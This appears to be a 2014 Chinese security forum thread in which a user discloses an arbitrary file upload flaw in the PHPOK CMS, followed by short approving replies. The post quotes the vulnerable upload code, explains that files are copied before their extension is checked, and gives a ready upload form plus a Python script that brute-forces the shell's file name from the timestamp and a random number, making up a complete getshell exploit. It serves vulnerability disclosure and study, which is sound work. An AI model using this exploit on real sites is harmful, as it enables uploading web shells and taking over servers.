查看: 27861|回复: 16

phpok前台任意文件上传getshell

[复制链接]
  • TA的每日心情

    2024-12-14 22:22
  • 签到天数: 1631 天

    [LV.Master]伴坛终老

    发表于 2014-7-24 10:22:05 | 显示全部楼层 |阅读模式
    /framework/www/upload_control.php第45行:
    [AppleScript] 纯文本查看 复制代码
    function base_f()
    {
    $rs = $this->upload_base("Filedata");
    if($rs["status"] == "ok")
    {
    error("图片上传成功",$this->url("res","add"),"ok");
    }
    else
    {
    error($rs["error"],$this->url("res","add"),"error");
    }
    }


    调用了upload_base,跟进去看看:
    [AppleScript] 纯文本查看 复制代码
    function upload_base($input_name = "Filedata",$upload_type)
    {
    $cateid = $this->get("cateid","int");
    $rs = $this->upload($input_name);
    if($rs["status"] != "ok")
    {
    return $rs;
    }


    调用了$this->upload来上传文件。继续跟进去看看:
    [AppleScript] 纯文本查看 复制代码
    function upload($inputname)
    {
    if(!$this->ifset) $this->auto_app();
    if(!$inputname) return false;
    $path = $this->dir_res;
    if(!isset($_FILES[$inputname]))
    {
    return array("status"=>"error","error_id"=>"1001","error"=>"没有指定上传的图片");
    }
    //生成新的文件名称
    $file_name = substr(md5(time().rand(0,9999)),9,16);
    $zip_filename = $file_name;//如果是zip压缩包
    $path_info = pathinfo($_FILES[$inputname]['name']);
    $file_extension = strtolower($path_info["extension"]);
    $file_name .= ".".$file_extension;
    $tmp_title = $_FILES[$inputname]['name'];
    if(!@copy($_FILES[$inputname]["tmp_name"],$path.$file_name))
    {
    return array("status"=>"error","error_id"=>"1002","error"=>"图片无法复制到指定目录");
    }
    if(!in_array($file_extension,$this->file_ext))
    {
    return array("status"=>"error","error_id"=>"1003","error"=>"附件类型不支持");
    }
    return array("status"=>"ok","title"=>$tmp_title,"filename"=>$path.$file_name,"ext"=>$file_extension);
    }



    仔细观察最后两个if语句,第一个是copy,第二个才是判断后缀名。也就是说它先把我上传的任意文件copy到web目录下,再判断了这个文件后缀是否合法。而且判断完毕后并没有删除不合法的文件。

    所以我们可以利用这一点来上传任意文件,虽然最后我不知道上传后的文件名,但这个文件名是可以爆破出来的。

    文件名命名规则:
    [AppleScript] 纯文本查看 复制代码
    substr(md5(time().rand(0,9999)),9,16)




    取当前时间 和 0-9999之前的随机数的md5值。这个好说,当前时间基本就在发包以后的1~3秒,4位随机数。也就说我只用爆破大概1W到3W次就能找到我上传的文件了。

    本地构造一个上传单页:

    [AppleScript] 纯文本查看 复制代码
    <form name="form" method="post" action="http://www.phpok.com/index.php?c=upload&f=base" enctype="multipart/form-data" >
    
    <input type="file" name="Filedata">
    
    <input type="submit" name="Submit" value="上传" ></form>



    拉一个shell点击上传。中途抓包,查看返回包:

    [AppleScript] 纯文本查看 复制代码
    10.jpg


    可以看到返回包的时间,这个时间基本上就是生成文件名的时候取的time()。

    通过返回包里的Date计算出此时的时间戳,也就是重命名时候取的time()值(就算不是,相差也不会太大,一两秒内)


    我计算出的时间戳值为1401619111



    然后我简单写一个单线程脚本(py需要安装requests库),来跑一下数据包。上传的文件默认放在/res目录下,我们就来爆破一下这个文件名:

    [AppleScript] 纯文本查看 复制代码
    import requests, hashlib
    
    def md5(str):
     
            m = hashlib.md5()
     
            m.update(str)
     
            return m.hexdigest()
     
    time = '1401619111'
     
    for x in xrange(0,9999):
     
    target = "http://localhost/phpok/res/%s.php" % md5(time + str(x))[9: 9 + 16]
     
    res = requests.get(target)
     
    if res.status_code != 404:
     
    print x, target
     
    break


    因为是本地,所以很快就跑出了shell的地址:
    20140724101948.jpg
    访问可见phpinfo:
    20140724102023.jpg

    作者:phith0n
    回复

    使用道具 举报

  • TA的每日心情

    2016-9-24 22:44
  • 签到天数: 13 天

    [LV.3]偶尔看看II

    发表于 2014-7-24 10:24:11 | 显示全部楼层
    哈哈,我抢到沙发了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-7-24 11:08:42 | 显示全部楼层
    简直凶残
    回复 支持 反对

    使用道具 举报

    头像被屏蔽

    该用户从未签到

    发表于 2014-7-24 13:19:45 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2018-12-13 14:00
  • 签到天数: 26 天

    [LV.4]偶尔看看III

    发表于 2014-7-25 09:47:48 | 显示全部楼层
    好文,顶赞
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2017-8-21 09:22
  • 签到天数: 181 天

    [LV.7]常住居民III

    发表于 2014-7-25 12:21:27 | 显示全部楼层
    刚好需要,学习了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2016-4-27 17:21
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2014-7-26 13:19:16 | 显示全部楼层
    学习下思路
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-7-27 11:16:13 | 显示全部楼层
    收藏,这个值得拥有oo
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-7-27 14:05:18 | 显示全部楼层
    值得学习
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-7-28 17:22:07 | 显示全部楼层
    赏你个大JB
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-27 20:20 , Processed in 0.047869 second(s), 16 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部